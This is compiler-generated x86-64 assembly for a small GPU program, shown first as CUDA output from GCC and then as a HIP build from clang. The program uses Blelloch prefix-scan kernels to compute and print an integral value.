movq 104(%rsp), %rax
subq %fs:40, %rax
jne .L32
addq $120, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L31:
.cfi_restore_state
pushq 24(%rsp)
.cfi_def_cfa_offset 136
pushq 24(%rsp)
.cfi_def_cfa_offset 144
leaq 96(%rsp), %r9
movq 60(%rsp), %rcx
movl 68(%rsp), %r8d
movq 48(%rsp), %rsi
movl 56(%rsp), %edx
leaq _Z23blelloch_downsweep_stepPfii(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 128
jmp .L27
.L32:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2088:
.size _Z45__device_stub__Z23blelloch_downsweep_stepPfiiPfii, .-_Z45__device_stub__Z23blelloch_downsweep_stepPfiiPfii
.globl _Z23blelloch_downsweep_stepPfii
.type _Z23blelloch_downsweep_stepPfii, @function
_Z23blelloch_downsweep_stepPfii:
.LFB2089:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z45__device_stub__Z23blelloch_downsweep_stepPfiiPfii
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2089:
.size _Z23blelloch_downsweep_stepPfii, .-_Z23blelloch_downsweep_stepPfii
.section .rodata.str1.1,"aMS",@progbits,1
.LC1:
.string "%f"
.LC3:
.string "0\n"
.LC4:
.string "Usage: ./scan <number> \n"
.section .rodata.str1.8,"aMS",@progbits,1
.align 8
.LC5:
.string "/home/ubuntu/Datasets/stackv2/train-structured/aleksey-uvarov/hpc-2019/master/scan.cu"
.section .rodata.str1.1
.LC6:
.string "Error at %s:%d\n"
.LC9:
.string "Integral value: %1.5e\n"
.text
.globl main
.type main, @function
main:
.LFB2057:
.cfi_startproc
endbr64
pushq %r14
.cfi_def_cfa_offset 16
.cfi_offset 14, -16
pushq %r13
.cfi_def_cfa_offset 24
.cfi_offset 13, -24
pushq %r12
.cfi_def_cfa_offset 32
.cfi_offset 12, -32
pushq %rbp
.cfi_def_cfa_offset 40
.cfi_offset 6, -40
pushq %rbx
.cfi_def_cfa_offset 48
.cfi_offset 3, -48
subq $48, %rsp
.cfi_def_cfa_offset 96
movq %fs:40, %rax
movq %rax, 40(%rsp)
xorl %eax, %eax
movl $0x00000000, 4(%rsp)
cmpl $1, %edi
jle .L36
leaq 4(%rsp), %rdx
movq 8(%rsi), %rdi
leaq .LC1(%rip), %rsi
call __isoc23_sscanf@PLT
movl 4(%rsp), %ebp
movss .LC2(%rip), %xmm0
movd %ebp, %xmm2
comiss %xmm2, %xmm0
ja .L56
movl $4, %esi
movl $1048576, %edi
call calloc@PLT
movq %rax, %r13
movl $4, %esi
movl $1048576, %edi
call calloc@PLT
movq %rax, %r12
leaq 8(%rsp), %rdi
movl $4194304, %esi
call cudaMalloc@PLT
testl %eax, %eax
jne .L57
movl $1024, 28(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
movl $1024, 16(%rsp)
movl $1, 20(%rsp)
movl $1, 24(%rsp)
movl $0, %r9d
movl $0, %r8d
movq 28(%rsp), %rdx
movl $1, %ecx
movq 16(%rsp), %rdi
movl $1, %esi
call __cudaPushCallConfiguration@PLT
testl %eax, %eax
je .L58
.L41:
movl $20, %ebx
movl $2, %r14d
jmp .L43
.L56:
leaq .LC3(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movl $0, %eax
jmp .L35
.L36:
leaq .LC4(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movl $0, %eax
.L35:
movq 40(%rsp), %rdx
subq %fs:40, %rdx
jne .L59
addq $48, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 48
popq %rbx
.cfi_def_cfa_offset 40
popq %rbp
.cfi_def_cfa_offset 32
popq %r12
.cfi_def_cfa_offset 24
popq %r13
.cfi_def_cfa_offset 16
popq %r14
.cfi_def_cfa_offset 8
ret
.L57:
.cfi_restore_state
movl $149, %ecx
leaq .LC5(%rip), %rdx
leaq .LC6(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movl $1, %eax
jmp .L35
.L58:
movss 4(%rsp), %xmm1
movss .LC2(%rip), %xmm0
movl $1048576, %esi
movq 8(%rsp), %rdi
call _Z39__device_stub__Z16prepare_functionPfiffPfiff
jmp .L41
.L42:
addl %r14d, %r14d
subl $1, %ebx
je .L60
.L43:
movl $1024, 28(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
movl $1024, 16(%rsp)
movl $1, 20(%rsp)
movl $1, 24(%rsp)
movl $0, %r9d
movl $0, %r8d
movq 28(%rsp), %rdx
movl $1, %ecx
movq 16(%rsp), %rdi
movl $1, %esi
call __cudaPushCallConfiguration@PLT
testl %eax, %eax
jne .L42
movl %r14d, %edx
movl $1048576, %esi
movq 8(%rsp), %rdi
call _Z42__device_stub__Z20blelloch_reduce_stepPfiiPfii
jmp .L42
.L60:
movl $2, %ecx
movl $4194304, %edx
movq 8(%rsp), %rsi
movq %r13, %rdi
call cudaMemcpy@PLT
testl %eax, %eax
jne .L61
movl $1024, 28(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
movl $1024, 16(%rsp)
movl $1, 20(%rsp)
movl $1, 24(%rsp)
movl $0, %r9d
movl $0, %r8d
movq 28(%rsp), %rdx
movl $1, %ecx
movq 16(%rsp), %rdi
movl $1, %esi
call __cudaPushCallConfiguration@PLT
testl %eax, %eax
je .L62
.L45:
movl $20, %ebx
movl $1048576, %r14d
jmp .L47
.L61:
movl $166, %ecx
leaq .LC5(%rip), %rdx
leaq .LC6(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movl $1, %eax
jmp .L35
.L62:
movl $1048576, %esi
movq 8(%rsp), %rdi
call _Z29__device_stub__Z9kill_lastPfiPfi
jmp .L45
.L46:
movl %r14d, %eax
shrl $31, %eax
addl %r14d, %eax
sarl %eax
movl %eax, %r14d
subl $1, %ebx
je .L63
.L47:
movl $1024, 28(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
movl $1024, 16(%rsp)
movl $1, 20(%rsp)
movl $1, 24(%rsp)
movl $0, %r9d
movl $0, %r8d
movq 28(%rsp), %rdx
movl $1, %ecx
movq 16(%rsp), %rdi
movl $1, %esi
call __cudaPushCallConfiguration@PLT
testl %eax, %eax
jne .L46
movl %r14d, %edx
movl $1048576, %esi
movq 8(%rsp), %rdi
call _Z45__device_stub__Z23blelloch_downsweep_stepPfiiPfii
jmp .L46
.L63:
movl $2, %ecx
movl $4194304, %edx
movq 8(%rsp), %rsi
movq %r12, %rdi
call cudaMemcpy@PLT
testl %eax, %eax
jne .L64
movd %ebp, %xmm0
addss .LC7(%rip), %xmm0
mulss .LC8(%rip), %xmm0
mulss 4194300(%r12), %xmm0
cvtss2sd %xmm0, %xmm0
leaq .LC9(%rip), %rsi
movl $2, %edi
movl $1, %eax
call __printf_chk@PLT
movq %r13, %rdi
call free@PLT
movq %r12, %rdi
call free@PLT
movq 8(%rsp), %rdi
call cudaFree@PLT
movl %eax, %edx
movl $0, %eax
testl %edx, %edx
je .L35
movl $207, %ecx
leaq .LC5(%rip), %rdx
leaq .LC6(%rip), %rsi
movl $2, %edi
call __printf_chk@PLT
movl $1, %eax
jmp .L35
.L64:
movl $177, %ecx
leaq .LC5(%rip), %rdx
leaq .LC6(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movl $1, %eax
jmp .L35
.L59:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2057:
.size main, .-main
.section .rodata.str1.8
.align 8
.LC10:
.string "_Z23blelloch_downsweep_stepPfii"
.section .rodata.str1.1
.LC11:
.string "_Z9kill_lastPfi"
.LC12:
.string "_Z20blelloch_reduce_stepPfii"
.LC13:
.string "_Z16prepare_functionPfiff"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2091:
.cfi_startproc
endbr64
pushq %rbx
.cfi_def_cfa_offset 16
.cfi_offset 3, -16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rbx
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC10(%rip), %rdx
movq %rdx, %rcx
leaq _Z23blelloch_downsweep_stepPfii(%rip), %rsi
movq %rax, %rdi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC11(%rip), %rdx
movq %rdx, %rcx
leaq _Z9kill_lastPfi(%rip), %rsi
movq %rbx, %rdi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC12(%rip), %rdx
movq %rdx, %rcx
leaq _Z20blelloch_reduce_stepPfii(%rip), %rsi
movq %rbx, %rdi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC13(%rip), %rdx
movq %rdx, %rcx
leaq _Z16prepare_functionPfiff(%rip), %rsi
movq %rbx, %rdi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
popq %rbx
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2091:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.section .rodata.cst4,"aM",@progbits,4
.align 4
.LC2:
.long -1056964608
.align 4
.LC7:
.long 1090519040
.align 4
.LC8:
.long 897581056
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: | .text
.file "scan.hip"
.globl _Z31__device_stub__prepare_functionPfiff # -- Begin function _Z31__device_stub__prepare_functionPfiff
.p2align 4, 0x90
.type _Z31__device_stub__prepare_functionPfiff,@function
_Z31__device_stub__prepare_functionPfiff: # @_Z31__device_stub__prepare_functionPfiff
.cfi_startproc
# %bb.0:
subq $120, %rsp
.cfi_def_cfa_offset 128
movq %rdi, 72(%rsp)
movl %esi, 20(%rsp)
movss %xmm0, 16(%rsp)
movss %xmm1, 12(%rsp)
leaq 72(%rsp), %rax
movq %rax, 80(%rsp)
leaq 20(%rsp), %rax
movq %rax, 88(%rsp)
leaq 16(%rsp), %rax
movq %rax, 96(%rsp)
leaq 12(%rsp), %rax
movq %rax, 104(%rsp)
leaq 56(%rsp), %rdi
leaq 40(%rsp), %rsi
leaq 32(%rsp), %rdx
leaq 24(%rsp), %rcx
callq __hipPopCallConfiguration
movq 56(%rsp), %rsi
movl 64(%rsp), %edx
movq 40(%rsp), %rcx
movl 48(%rsp), %r8d
leaq 80(%rsp), %r9
movl $_Z16prepare_functionPfiff, %edi
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
pushq 40(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $136, %rsp
.cfi_adjust_cfa_offset -136
retq
.Lfunc_end0:
.size _Z31__device_stub__prepare_functionPfiff, .Lfunc_end0-_Z31__device_stub__prepare_functionPfiff
.cfi_endproc
# -- End function
.globl _Z35__device_stub__blelloch_reduce_stepPfii # -- Begin function _Z35__device_stub__blelloch_reduce_stepPfii
.p2align 4, 0x90
.type _Z35__device_stub__blelloch_reduce_stepPfii,@function
_Z35__device_stub__blelloch_reduce_stepPfii: # @_Z35__device_stub__blelloch_reduce_stepPfii
.cfi_startproc
# %bb.0:
subq $88, %rsp
.cfi_def_cfa_offset 96
movq %rdi, 56(%rsp)
movl %esi, 4(%rsp)
movl %edx, (%rsp)
leaq 56(%rsp), %rax
movq %rax, 64(%rsp)
leaq 4(%rsp), %rax
movq %rax, 72(%rsp)
movq %rsp, %rax
movq %rax, 80(%rsp)
leaq 40(%rsp), %rdi
leaq 24(%rsp), %rsi
leaq 16(%rsp), %rdx
leaq 8(%rsp), %rcx
callq __hipPopCallConfiguration
movq 40(%rsp), %rsi
movl 48(%rsp), %edx
movq 24(%rsp), %rcx
movl 32(%rsp), %r8d
leaq 64(%rsp), %r9
movl $_Z20blelloch_reduce_stepPfii, %edi
pushq 8(%rsp)
.cfi_adjust_cfa_offset 8
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $104, %rsp
.cfi_adjust_cfa_offset -104
retq
.Lfunc_end1:
.size _Z35__device_stub__blelloch_reduce_stepPfii, .Lfunc_end1-_Z35__device_stub__blelloch_reduce_stepPfii
.cfi_endproc
# -- End function
.globl _Z24__device_stub__kill_lastPfi # -- Begin function _Z24__device_stub__kill_lastPfi
.p2align 4, 0x90
.type _Z24__device_stub__kill_lastPfi,@function
_Z24__device_stub__kill_lastPfi: # @_Z24__device_stub__kill_lastPfi
.cfi_startproc
# %bb.0:
subq $88, %rsp
.cfi_def_cfa_offset 96
movq %rdi, 56(%rsp)
movl %esi, 4(%rsp)
leaq 56(%rsp), %rax
movq %rax, 64(%rsp)
leaq 4(%rsp), %rax
movq %rax, 72(%rsp)
leaq 40(%rsp), %rdi
leaq 24(%rsp), %rsi
leaq 16(%rsp), %rdx
leaq 8(%rsp), %rcx
callq __hipPopCallConfiguration
movq 40(%rsp), %rsi
movl 48(%rsp), %edx
movq 24(%rsp), %rcx
movl 32(%rsp), %r8d
leaq 64(%rsp), %r9
movl $_Z9kill_lastPfi, %edi
pushq 8(%rsp)
.cfi_adjust_cfa_offset 8
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $104, %rsp
.cfi_adjust_cfa_offset -104
retq
.Lfunc_end2:
.size _Z24__device_stub__kill_lastPfi, .Lfunc_end2-_Z24__device_stub__kill_lastPfi
.cfi_endproc
# -- End function
.globl _Z38__device_stub__blelloch_downsweep_stepPfii # -- Begin function _Z38__device_stub__blelloch_downsweep_stepPfii
.p2align 4, 0x90
.type _Z38__device_stub__blelloch_downsweep_stepPfii,@function
_Z38__device_stub__blelloch_downsweep_stepPfii: # @_Z38__device_stub__blelloch_downsweep_stepPfii
.cfi_startproc
# %bb.0:
subq $88, %rsp
.cfi_def_cfa_offset 96
movq %rdi, 56(%rsp)
movl %esi, 4(%rsp)
movl %edx, (%rsp)
leaq 56(%rsp), %rax
movq %rax, 64(%rsp)
leaq 4(%rsp), %rax
movq %rax, 72(%rsp)
movq %rsp, %rax
movq %rax, 80(%rsp)
leaq 40(%rsp), %rdi
leaq 24(%rsp), %rsi
leaq 16(%rsp), %rdx
leaq 8(%rsp), %rcx
callq __hipPopCallConfiguration
movq 40(%rsp), %rsi
movl 48(%rsp), %edx
movq 24(%rsp), %rcx
movl 32(%rsp), %r8d
leaq 64(%rsp), %r9
movl $_Z23blelloch_downsweep_stepPfii, %edi
pushq 8(%rsp)
.cfi_adjust_cfa_offset 8
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $104, %rsp
.cfi_adjust_cfa_offset -104
retq
.Lfunc_end3:
.size _Z38__device_stub__blelloch_downsweep_stepPfii, .Lfunc_end3-_Z38__device_stub__blelloch_downsweep_stepPfii
.cfi_endproc
# -- End function
.section .rodata.cst4,"aM",@progbits,4
.p2align 2, 0x0 # -- Begin function main
.LCPI4_0:
.long 0xc1000000 # float -8
.LCPI4_1:
.long 0x41000000 # float 8
.LCPI4_2:
.long 0x35800000 # float 9.53674316E-7
.text
.globl main
.p2align 4, 0x90
.type main,@function
main: # @main
.cfi_startproc
# %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
pushq %r15
.cfi_def_cfa_offset 24
pushq %r14
.cfi_def_cfa_offset 32
pushq %r13
.cfi_def_cfa_offset 40
pushq %r12
.cfi_def_cfa_offset 48
pushq %rbx
.cfi_def_cfa_offset 56
subq $152, %rsp
.cfi_def_cfa_offset 208
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
.cfi_offset %rbp, -16
movl $0, 28(%rsp)
cmpl $2, %edi
jl .LBB4_3
# %bb.1:
movq 8(%rsi), %rdi
xorl %ebx, %ebx
leaq 28(%rsp), %rdx
movl $.L.str, %esi
xorl %eax, %eax
callq __isoc23_sscanf
movss 28(%rsp), %xmm1 # xmm1 = mem[0],zero,zero,zero
movss .LCPI4_0(%rip), %xmm0 # xmm0 = mem[0],zero,zero,zero
ucomiss %xmm1, %xmm0
jbe .LBB4_4
# %bb.2:
movl $.Lstr.1, %edi
callq puts@PLT
jmp .LBB4_26
.LBB4_3:
movl $.Lstr, %edi
callq puts@PLT
xorl %ebx, %ebx
jmp .LBB4_26
.LBB4_4:
movss %xmm1, 4(%rsp) # 4-byte Spill
movl $1048576, %edi # imm = 0x100000
movl $4, %esi
callq calloc
movq %rax, %rbx
movl $1048576, %edi # imm = 0x100000
movl $4, %esi
callq calloc
movq %rax, %r14
leaq 16(%rsp), %rdi
movl $4194304, %esi # imm = 0x400000
callq hipMalloc
testl %eax, %eax
je .LBB4_6
# %bb.5:
movl $.L.str.4, %edi
movl $.L.str.5, %esi
movl $149, %edx
jmp .LBB4_25
.LBB4_6:
movq %r14, 144(%rsp) # 8-byte Spill
movq %rbx, 136(%rsp) # 8-byte Spill
movss 4(%rsp), %xmm0 # 4-byte Reload
# xmm0 = mem[0],zero,zero,zero
addss .LCPI4_1(%rip), %xmm0
movss %xmm0, 4(%rsp) # 4-byte Spill
movabsq $4294968320, %r15 # imm = 0x100000400
movq %r15, %rdi
movl $1, %esi
movq %r15, %rdx
movl $1, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq __hipPushCallConfiguration
testl %eax, %eax
jne .LBB4_8
# %bb.7:
movq 16(%rsp), %rax
movss 28(%rsp), %xmm0 # xmm0 = mem[0],zero,zero,zero
movq %rax, 80(%rsp)
movl $1048576, 12(%rsp) # imm = 0x100000
movl $-1056964608, 8(%rsp) # imm = 0xC1000000
movss %xmm0, 92(%rsp)
leaq 80(%rsp), %rax
movq %rax, 96(%rsp)
leaq 12(%rsp), %rax
movq %rax, 104(%rsp)
leaq 8(%rsp), %rax
movq %rax, 112(%rsp)
leaq 92(%rsp), %rax
movq %rax, 120(%rsp)
leaq 64(%rsp), %rdi
leaq 48(%rsp), %rsi
leaq 40(%rsp), %rdx
leaq 32(%rsp), %rcx
callq __hipPopCallConfiguration
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
movq 48(%rsp), %rcx
movl 56(%rsp), %r8d
leaq 96(%rsp), %r9
movl $_Z16prepare_functionPfiff, %edi
pushq 32(%rsp)
.cfi_adjust_cfa_offset 8
pushq 48(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $16, %rsp
.cfi_adjust_cfa_offset -16
.LBB4_8:
movss 4(%rsp), %xmm0 # 4-byte Reload
# xmm0 = mem[0],zero,zero,zero
mulss .LCPI4_2(%rip), %xmm0
movss %xmm0, 4(%rsp) # 4-byte Spill
movl $2, %r12d
leaq 48(%rsp), %r13
leaq 40(%rsp), %rbp
leaq 32(%rsp), %r14
leaq 96(%rsp), %rbx
jmp .LBB4_9
.p2align 4, 0x90
.LBB4_11: # in Loop: Header=BB4_9 Depth=1
leal (%r12,%r12), %eax
cmpl $524289, %r12d # imm = 0x80001
movl %eax, %r12d
jae .LBB4_12
.LBB4_9: # =>This Inner Loop Header: Depth=1
movq %r15, %rdi
movl $1, %esi
movq %r15, %rdx
movl $1, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq __hipPushCallConfiguration
testl %eax, %eax
jne .LBB4_11
# %bb.10: # in Loop: Header=BB4_9 Depth=1
movq 16(%rsp), %rax
movq %rax, 80(%rsp)
movl $1048576, 12(%rsp) # imm = 0x100000
movl %r12d, 8(%rsp)
leaq 80(%rsp), %rax
movq %rax, 96(%rsp)
leaq 12(%rsp), %rax
movq %rax, 104(%rsp)
leaq 8(%rsp), %rax
movq %rax, 112(%rsp)
leaq 64(%rsp), %rdi
movq %r13, %rsi
movq %rbp, %rdx
movq %r14, %rcx
callq __hipPopCallConfiguration
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
movq 48(%rsp), %rcx
movl 56(%rsp), %r8d
movl $_Z20blelloch_reduce_stepPfii, %edi
movq %rbx, %r9
pushq 32(%rsp)
.cfi_adjust_cfa_offset 8
pushq 48(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $16, %rsp
.cfi_adjust_cfa_offset -16
jmp .LBB4_11
.LBB4_12:
movq 16(%rsp), %rsi
movl $4194304, %edx # imm = 0x400000
movq 136(%rsp), %rdi # 8-byte Reload
movl $2, %ecx
callq hipMemcpy
testl %eax, %eax
je .LBB4_14
# %bb.13:
movl $.L.str.4, %edi
movl $.L.str.5, %esi
movl $166, %edx
jmp .LBB4_25
.LBB4_14:
movq %r15, %rdi
movl $1, %esi
movq %r15, %rdx
movl $1, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq __hipPushCallConfiguration
testl %eax, %eax
jne .LBB4_16
# %bb.15:
movq 16(%rsp), %rdi
movl $1048576, %esi # imm = 0x100000
callq _Z24__device_stub__kill_lastPfi
.LBB4_16:
movl $1048576, %r12d # imm = 0x100000
leaq 48(%rsp), %r13
leaq 40(%rsp), %rbp
leaq 32(%rsp), %r14
leaq 96(%rsp), %rbx
jmp .LBB4_17
.p2align 4, 0x90
.LBB4_19: # in Loop: Header=BB4_17 Depth=1
movl %r12d, %eax
shrl %eax
cmpl $3, %r12d
movl %eax, %r12d
jbe .LBB4_20
.LBB4_17: # =>This Inner Loop Header: Depth=1
movq %r15, %rdi
movl $1, %esi
movq %r15, %rdx
movl $1, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq __hipPushCallConfiguration
testl %eax, %eax
jne .LBB4_19
# %bb.18: # in Loop: Header=BB4_17 Depth=1
movq 16(%rsp), %rax
movq %rax, 80(%rsp)
movl $1048576, 12(%rsp) # imm = 0x100000
movl %r12d, 8(%rsp)
leaq 80(%rsp), %rax
movq %rax, 96(%rsp)
leaq 12(%rsp), %rax
movq %rax, 104(%rsp)
leaq 8(%rsp), %rax
movq %rax, 112(%rsp)
leaq 64(%rsp), %rdi
movq %r13, %rsi
movq %rbp, %rdx
movq %r14, %rcx
callq __hipPopCallConfiguration
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
movq 48(%rsp), %rcx
movl 56(%rsp), %r8d
movl $_Z23blelloch_downsweep_stepPfii, %edi
movq %rbx, %r9
pushq 32(%rsp)
.cfi_adjust_cfa_offset 8
pushq 48(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $16, %rsp
.cfi_adjust_cfa_offset -16
jmp .LBB4_19
.LBB4_20:
movq 16(%rsp), %rsi
movl $4194304, %edx # imm = 0x400000
movq 144(%rsp), %rbx # 8-byte Reload
movq %rbx, %rdi
movl $2, %ecx
callq hipMemcpy
testl %eax, %eax
je .LBB4_22
# %bb.21:
movl $.L.str.4, %edi
movl $.L.str.5, %esi
movl $177, %edx
jmp .LBB4_25
.LBB4_22:
movss 4(%rsp), %xmm0 # 4-byte Reload
# xmm0 = mem[0],zero,zero,zero
mulss 4194300(%rbx), %xmm0
cvtss2sd %xmm0, %xmm0
movl $.L.str.6, %edi
movb $1, %al
callq printf
movq 136(%rsp), %rdi # 8-byte Reload
callq free
movq %rbx, %rdi
callq free
movq 16(%rsp), %rdi
callq hipFree
testl %eax, %eax
je .LBB4_23
# %bb.24:
movl $.L.str.4, %edi
movl $.L.str.5, %esi
movl $207, %edx
.LBB4_25:
xorl %eax, %eax
callq printf
movl $1, %ebx
.LBB4_26:
movl %ebx, %eax
addq $152, %rsp
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %r12
.cfi_def_cfa_offset 40
popq %r13
.cfi_def_cfa_offset 32
popq %r14
.cfi_def_cfa_offset 24
popq %r15
.cfi_def_cfa_offset 16
popq %rbp
.cfi_def_cfa_offset 8
retq
.LBB4_23:
.cfi_def_cfa_offset 208
xorl %ebx, %ebx
jmp .LBB4_26
.Lfunc_end4:
.size main, .Lfunc_end4-main
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
pushq %rbx
.cfi_def_cfa_offset 16
subq $32, %rsp
.cfi_def_cfa_offset 48
.cfi_offset %rbx, -16
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB5_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB5_2:
movq __hip_gpubin_handle(%rip), %rbx
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z16prepare_functionPfiff, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movq %rbx, %rdi
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z20blelloch_reduce_stepPfii, %esi
movl $.L__unnamed_2, %edx
movl $.L__unnamed_2, %ecx
movq %rbx, %rdi
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z9kill_lastPfi, %esi
movl $.L__unnamed_3, %edx
movl $.L__unnamed_3, %ecx
movq %rbx, %rdi
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z23blelloch_downsweep_stepPfii, %esi
movl $.L__unnamed_4, %edx
movl $.L__unnamed_4, %ecx
movq %rbx, %rdi
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $32, %rsp
.cfi_def_cfa_offset 16
popq %rbx
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end5:
.size __hip_module_ctor, .Lfunc_end5-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB6_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB6_2:
retq
.Lfunc_end6:
.size __hip_module_dtor, .Lfunc_end6-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z16prepare_functionPfiff,@object # @_Z16prepare_functionPfiff
.section .rodata,"a",@progbits
.globl _Z16prepare_functionPfiff
.p2align 3, 0x0
_Z16prepare_functionPfiff:
.quad _Z31__device_stub__prepare_functionPfiff
.size _Z16prepare_functionPfiff, 8
.type _Z20blelloch_reduce_stepPfii,@object # @_Z20blelloch_reduce_stepPfii
.globl _Z20blelloch_reduce_stepPfii
.p2align 3, 0x0
_Z20blelloch_reduce_stepPfii:
.quad _Z35__device_stub__blelloch_reduce_stepPfii
.size _Z20blelloch_reduce_stepPfii, 8
.type _Z9kill_lastPfi,@object # @_Z9kill_lastPfi
.globl _Z9kill_lastPfi
.p2align 3, 0x0
_Z9kill_lastPfi:
.quad _Z24__device_stub__kill_lastPfi
.size _Z9kill_lastPfi, 8
.type _Z23blelloch_downsweep_stepPfii,@object # @_Z23blelloch_downsweep_stepPfii
.globl _Z23blelloch_downsweep_stepPfii
.p2align 3, 0x0
_Z23blelloch_downsweep_stepPfii:
.quad _Z38__device_stub__blelloch_downsweep_stepPfii
.size _Z23blelloch_downsweep_stepPfii, 8
.type .L.str,@object # @.str
.section .rodata.str1.1,"aMS",@progbits,1
.L.str:
.asciz "%f"
.size .L.str, 3
.type .L.str.4,@object # @.str.4
.L.str.4:
.asciz "Error at %s:%d\n"
.size .L.str.4, 16
.type .L.str.5,@object # @.str.5
.L.str.5:
